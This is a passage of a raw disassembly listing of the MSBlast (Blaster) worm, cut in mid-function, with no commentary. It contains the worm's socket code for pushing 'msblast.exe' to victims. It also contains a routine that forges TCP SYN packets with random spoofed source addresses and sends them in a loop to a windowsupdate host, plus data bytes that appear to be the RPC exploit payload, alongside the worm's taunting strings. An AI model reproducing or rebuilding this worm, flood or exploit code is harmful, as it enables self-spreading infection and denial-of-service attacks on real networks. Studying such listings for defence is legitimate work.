0FFFFFFFFh loc_401D78: ; CODE XREF: sub_401929+454j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401D78 push 0 ; flags push eax ; len lea eax, [ebp+var_1204] push eax ; buf push [ebp+var_1208] ; s call send cmp eax, 1 jl short loc_401DEB push 7D0h ; dwMilliseconds call Sleep push offset aMsblast_exe ; "msblast.exe" push offset aS_0 ; "%s\n" lea eax, [ebp+var_1204] push eax call sprintf add esp, 0Ch lea ecx, [ebp+var_1204] or eax, 0FFFFFFFFh loc_401DC5: ; CODE XREF: sub_401929+4A1j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401DC5 push 0 ; flags push eax ; len lea eax, [ebp+var_1204] push eax ; buf push [ebp+var_1208] ; s call send push 7D0h ; dwMilliseconds call Sleep loc_401DEB: ; CODE XREF: sub_401929+400j ; sub_401929+46Ej cmp [ebp+var_1208], 0 jz short loc_401DFF push [ebp+var_1208] ; s call closesocket loc_401DFF: ; CODE XREF: sub_401929+4C9j cmp dword_404038, 0 jz short loc_401E27 push 0 ; dwExitCode push [ebp+hObject] ; hThread call TerminateThread push ds:s ; s call closesocket and dword_404038, 0 loc_401E27: ; CODE XREF: sub_401929+4DDj cmp [ebp+hObject], 0 jz short loc_401E3B push [ebp+hObject] ; hObject call CloseHandle loc_401E3B: ; CODE XREF: sub_401929+24Cj ; sub_401929+26Cj ... pop edi pop esi pop ebx leave retn sub_401929 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_401E40 proc near ; CODE XREF: sub_401F36+1AEp ; sub_401F36+1EAp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebx mov ebx, [esp+arg_0] mov ecx, [esp+arg_4] xor edx, edx jmp short loc_401E5A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401E4D: ; CODE XREF: sub_401E40+1Dj mov eax, ebx add ebx, 2 movzx eax, word ptr [eax] add edx, eax sub ecx, 2 loc_401E5A: ; CODE XREF: sub_401E40+Bj cmp ecx, 1 jg short loc_401E4D or ecx, ecx jz short loc_401E68 movzx eax, byte ptr [ebx] add edx, eax loc_401E68: ; CODE XREF: sub_401E40+21j mov ecx, edx shr ecx, 10h mov ebx, edx and ebx, 0FFFFh mov edx, ecx add edx, ebx mov ecx, edx shr ecx, 10h add edx, ecx mov eax, edx not eax and eax, 0FFFFh pop ebx retn sub_401E40 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame ; int __cdecl sub_401E8B(char *name) sub_401E8B proc near ; CODE XREF: StartAddress+13p ; sub_401F36+7Ep name = dword ptr 8 push ebp mov ebp, esp push esi push edi push [ebp+name] ; cp call inet_addr mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh jnz short loc_401EBB push [ebp+name] ; name call gethostbyname mov esi, eax or esi, esi jnz short loc_401EB4 or eax, 0FFFFFFFFh jmp short loc_401EBD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401EB4: ; CODE XREF: sub_401E8B+22j mov eax, [esi+0Ch] mov eax, [eax] mov edi, [eax] loc_401EBB: ; CODE XREF: sub_401E8B+14j mov eax, edi loc_401EBD: ; CODE XREF: sub_401E8B+27j pop edi pop esi pop ebp retn sub_401E8B endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame ; DWORD __stdcall StartAddress(LPVOID) StartAddress proc near ; DATA XREF: sub_401250+304o optval = byte ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi ; s mov dword ptr [ebp+optval], 1 push offset aWindowsupdate_ ; name call sub_401E8B pop ecx mov esi, eax push 1 ; dwFlags push 0 ; g push 0 ; lpProtocolInfo push 0FFh ; protocol push 3 ; type push 2 ; af call WSASocketA mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_401EFB xor eax, eax jmp short loc_401F2F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401EFB: ; CODE XREF: StartAddress+34j push 4 ; optlen lea eax, [ebp+optval] push eax ; optval push 2 ; optname push 0 ; level push edi ; s call setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401F14 xor eax, eax jmp short loc_401F2F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_401F14: ; CODE XREF: StartAddress+4Dj ; StartAddress+64j push edi push esi call sub_401F36 add esp, 8 push 14h ; dwMilliseconds call Sleep jmp short loc_401F14 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push edi call closesocket xor eax, eax loc_401F2F: ; CODE XREF: StartAddress+38j ; StartAddress+51j pop edi pop esi pop ebx leave retn 4 StartAddress endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_401F36 proc near ; CODE XREF: StartAddress+55p var_9C = dword ptr -9Ch var_98 = dword ptr -98h name = byte ptr -92h var_82 = word ptr -82h to = sockaddr ptr -80h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = word ptr -66h buf = byte ptr -64h var_58 = byte ptr -58h var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_14 = byte ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 s = dword ptr 0Ch push ebp mov ebp, esp sub esp, 9Ch push ebx push esi push edi lea edi, [ebp+buf] lea esi, ds:4047B0h mov ecx, 0Fh rep movsd mov [ebp+var_82], 50h call GetTickCount push eax call srand call rand mov [ebp+var_98], eax call rand mov ecx, 0FFh cdq idiv ecx push edx mov edi, [ebp+var_98] mov eax, edi mov ecx, 0FFh cdq idiv ecx push edx push ds:dword_403138 push ds:dword_403014 push offset aI_I_I_I ; "%i.%i.%i.%i" lea edi, [ebp+name] push edi call sprintf lea eax, [ebp+name] push eax ; name call sub_401E8B mov ebx, eax mov [ebp+to.sa_family], 2 movzx eax, [ebp+var_82] push eax ; hostshort call htons mov edi, eax mov word ptr [ebp+to.sa_data], di mov eax, [ebp+arg_0] mov dword ptr [ebp+to.sa_data+2], eax mov [ebp+var_14], 45h push 28h ; hostshort call htons mov edi, eax mov [ebp+var_12], di mov [ebp+var_10], 1 mov [ebp+var_E], 0 mov [ebp+var_C], 80h mov [ebp+var_B], 6 mov [ebp+var_A], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax movzx eax, [ebp+var_82] push eax ; hostshort call htons mov edi, eax mov [ebp+var_26], di and [ebp+var_20], 0 mov [ebp+var_1C], 50h mov [ebp+var_1B], 2 push 4000h ; hostshort call htons mov edi, eax mov [ebp+var_1A], di mov [ebp+var_16], 0 mov [ebp+var_18], 0 mov eax, [ebp+var_4] mov [ebp+var_6C], eax mov [ebp+var_68], 0 mov [ebp+var_67], 6 push 14h ; hostshort call htons mov edi, eax mov [ebp+var_66], di mov [ebp+var_8], ebx call rand mov ecx, 3E8h cdq idiv ecx mov edi, edx add edi, 3E8h and edi, 0FFFFh push edi ; hostshort call htons mov edi, eax mov [ebp+var_28], di call rand mov [ebp+var_9C], eax call rand mov edi, [ebp+var_9C] shl edi, 10h or edi, eax and edi, 0FFFFh push edi ; hostshort call htons mov edi, eax and edi, 0FFFFh mov [ebp+var_24], edi mov [ebp+var_70], ebx push 0Ch lea eax, [ebp+var_70] push eax lea eax, [ebp+buf] push eax call memcpy push 14h lea eax, [ebp+var_28] push eax lea eax, [ebp+var_58] push eax call memcpy push 20h lea eax, [ebp+buf] push eax call sub_401E40 mov edi, eax mov [ebp+var_18], di push 14h lea eax, [ebp+var_14] push eax lea eax, [ebp+buf] push eax call memcpy push 14h lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push eax call memcpy push 4 push 0 lea eax, [ebp+var_3C] push eax call memset push 28h lea eax, [ebp+buf] push eax call sub_401E40 mov edi, eax mov [ebp+var_A], di push 14h lea eax, [ebp+var_14] push eax lea eax, [ebp+buf] push eax call memcpy add esp, 78h push 10h ; tolen lea eax, [ebp+to] push eax ; to push 0 ; flags push 28h ; len lea eax, [ebp+buf] push eax ; buf push [ebp+s] ; s call sendto pop edi pop esi pop ebx leave retn sub_401F36 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: thunk ; u_short __stdcall htons(u_short hostshort) htons proc near ; CODE XREF: sub_401576+4Dp ; sub_401576+D9p ... jmp ds:__imp_htons htons endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 dd 9090h align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: thunk ; int __stdcall ioctlsocket(SOCKET s,__int32 cmd,u_long *argp) ioctlsocket proc near ; CODE XREF: sub_401777+62p ; sub_401929+26p jmp ds:__imp_ioctlsocket ioctlsocket endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 8 ; [00000006 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION recvfrom. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION select. PRESS KEYPAD "+" TO EXPAND] align 8 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: thunk ; int __stdcall send(SOCKET s,const char *buf,int len,int flags) send proc near ; CODE XREF: sub_401929+244p ; sub_401929+264p ... jmp ds:__imp_send send endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION sendto. PRESS KEYPAD "+" TO EXPAND] align 8 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: thunk ; int __stdcall setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen) setsockopt proc near ; CODE XREF: StartAddress+45p jmp ds:__imp_setsockopt setsockopt endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 dd 9090h align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: thunk ; SOCKET __stdcall socket(int af,int type,int protocol) socket proc near ; CODE XREF: sub_401576+1Cp ; sub_401777+41p ... jmp ds:__imp_socket socket endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 8 ; [00000006 BYTES: COLLAPSED FUNCTION gethostbyname. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION bind. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION gethostname. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION closesocket. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION WSAStartup. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WSACleanup. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION connect. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION getpeername. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION getsockname. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WSASocketA. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION InternetGetConnectedState. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_402254 proc near ; CODE XREF: start+66p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call GetCommandLineA mov edi, eax cmp byte ptr [edi], 22h jnz short loc_402288 push 22h mov eax, edi inc eax push eax call strchr add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_4022A3 mov edi, eax inc edi jmp short loc_402280 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_40227F: ; CODE XREF: sub_402254+2Fj inc edi loc_402280: ; CODE XREF: sub_402254+29j cmp byte ptr [edi], 20h jz short loc_40227F jmp short loc_4022A3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_402287: ; CODE XREF: sub_402254+3Ej inc edi loc_402288: ; CODE XREF: sub_402254+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_402294 cmp eax, 20h jnz short loc_402287 loc_402294: ; CODE XREF: sub_402254+39j jmp short loc_402297 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_402296: ; CODE XREF: sub_402254+4Dj inc edi loc_402297: ; CODE XREF: sub_402254+40j movsx eax, byte ptr [edi] or eax, eax jz short loc_4022A3 cmp eax, 20h jz short loc_402296 loc_4022A3: ; CODE XREF: sub_402254+24j ; sub_402254+31j ... push 0 ; lpModuleName call GetModuleHandleA push 1 push edi push 0 push eax call sub_401250 pop edi leave retn sub_402254 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 sub_4022B8 proc near ; CODE XREF: sub_401929+8p pop ecx loc_4022B9: ; CODE XREF: sub_4022B8+14j sub esp, 1000h sub eax, 1000h test [esp], eax cmp eax, 1000h jnb short loc_4022B9 sub esp, eax test [esp], eax jmp ecx sub_4022B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitThread. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetDateFormatA. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION GetTickCount. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION CreateMutexA. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION TerminateThread. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CreateThread. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegCreateKeyExA. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION __GetMainArgs. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION atoi. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION fclose. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION fopen. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION fread. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION raise. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION rand. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION sprintf. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND] align 8 ; [00000006 BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND] dd 9090h align 4 ; [00000006 BYTES: COLLAPSED FUNCTION strtok. PRESS KEYPAD "+" TO EXPAND] align 8 _text ends ; Section 2. (virtual address 00003000) ; Virtual size : 0000013C ( 316.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags C0000080: Bss Readable Writable ; Alignment : 16 bytes ? ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Uninitialized ; Segment permissions: Read/Write _bss segment para public 'BSS' use32 assume cs:_bss ;org 403000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; char cp cp db ? ; DATA XREF: sub_401777+91o ; sub_401777+9Eo ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_403010 dd ? ; DATA XREF: sub_401250+1C6w ; sub_401250+219r ... dword_403014 dd ? ; DATA XREF: sub_401250+103w ; sub_401250+214w ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; ; CHAR Filename Filename db ? ; DATA XREF: sub_401250+B9o ; sub_401576+BFo db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; ; SOCKET s s dd ? ; DATA XREF: sub_401576+21w ; sub_401576+6Br ... dword_403128 dd ? ; DATA XREF: sub_401250+1A9w ; sub_401250+20Fr ... dword_40312C dd ? ; DATA XREF: sub_401250+E0w ; sub_40170Cr ... dword_403130 dd ? ; DATA XREF: sub_401250+1E6w ; sub_401250+209w ... dword_403134 dd ? ; DATA XREF: sub_401250+246w ; sub_401250+262w ... dword_403138 dd ? ; DATA XREF: sub_401250+116w ; sub_401250+21Ew ... _bss ends ; Section 3. (virtual address 00004000) ; Virtual size : 0000088C ( 2188.) ; Section size in file : 0000088C ( 2188.) ; Offset to raw data for section: 00001A00 ; Flags C0000040: Data Readable Writable ; Alignment : 16 bytes ? ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 404000h dd offset cp db 3Ch ; < db 31h ; 1 db 40h ; @ db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_404010 dd 0 ; DATA XREF: .text:00401142w ; .text:0040115Cw ... dword_404014 dd 0 ; DATA XREF: start+60w db 0 ; db 0 ; db 0 ; db 0 ; unk_40401C db 0 ; ; DATA XREF: start+Bo db 0 ; db 0 ; db 0 ; dword_404020 dd 0 ; DATA XREF: start+44o start+5Ar dword_404024 dd 0 ; DATA XREF: start+3Fo start+54r dword_404028 dd 0 ; DATA XREF: start+3Ao start+4Er dword_40402C dd 0 ; DATA XREF: .text:004011AAr ; .text:004011BAr dword_404030 dd 0 ; DATA XREF: .text:004010ABw dword_404034 dd 0 ; DATA XREF: .text:004010B0w ; .text:004010C8w dword_404038 dd 0 ; DATA XREF: sub_401576+Cw ; sub_401576+174w ... aMsblast_exe db 'msblast.exe',0 ; DATA XREF: sub_401250+31o ; sub_401929+3BAo ... aIJustWantToSay db 'I just want to say LOVE YOU SAN!!',0 aBillyGatesWhyD db 'billy gates why do you make this possible ? Stop making mone' db 'y and fix your software!!',0 db 5 ; db 0 ; db 0Bh ; db 3 ; db 10h ; db 0 ; db 0 ; db 0 ; db 48h ; H db 0 ; db 0 ; db 0 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; db 0D0h ; db 16h ; db 0D0h ; db 16h ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 1 ; db 0 ; db 0A0h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 0 ; db 4 ; db 5Dh ; ] db 88h ; db 8Ah ; db 0EBh ; db 1Ch ; db 0C9h ; db 11h ; db 9Fh ; db 0E8h ; db 8 ; db 0 ; db 2Bh ; + db 10h ; db 48h ; H db 60h ; ` db 2 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 3 ; db 10h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 3 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 3 ; db 0 ; db 0 ; db 1 ; db 0 ; db 4 ; db 0 ; db 5 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 32h ; 2 db 24h ; $ db 58h ; X db 0FDh ; db 0CCh ; db 45h ; E db 64h ; d db 49h ; I db 0B0h ; db 70h ; p db 0DDh ; db 0AEh ; db 74h ; t db 2Ch ; , db 96h ; db 0D2h ; db 60h ; ` db 5Eh ; ^ db 0Dh ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 70h ; p db 5Eh ; ^ db 0Dh ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 7Ch ; | db 5Eh ; ^ db 0Dh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 0 ; db 0 ; db 0 ; db 80h ; db 96h ; db 0F1h ; db 0F1h ; db 2Ah ; * db 4Dh ; M db 0CEh ; db 11h ; db 0A6h ; db 6Ah ; j db 0 ; db 20h ; db 0AFh ; db 6Eh ; n db 72h ; r db 0F4h ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 4Dh ; M db 41h ; A db 52h ; R db 42h ; B db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0F0h ; db 0ADh ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0F4h ; db 0Bh ; db 0 ; db 60h ; ` db 3 ; db 0 ; db 0 ; db 60h ; ` db 3 ; db 0 ; db 0 ; db 4Dh ; M db 45h ; E db 4Fh ; O db 57h ; W db 4 ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 38h ; 8 db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 3 ; db 0 ; db 0 ; db 28h ; ( db 3 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 10h ; db 8 ; db 0 ; db 0CCh ; db 0CCh ; db 0CCh ; db 0CCh ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 4Dh ; M db 45h ; E db 4Fh ; O db 57h ; W db 28h ; ( db 3 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 28h ; ( db 0CDh ; db 0 ; db 64h ; d db 29h ; ) db 0CDh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 1 ; db 0 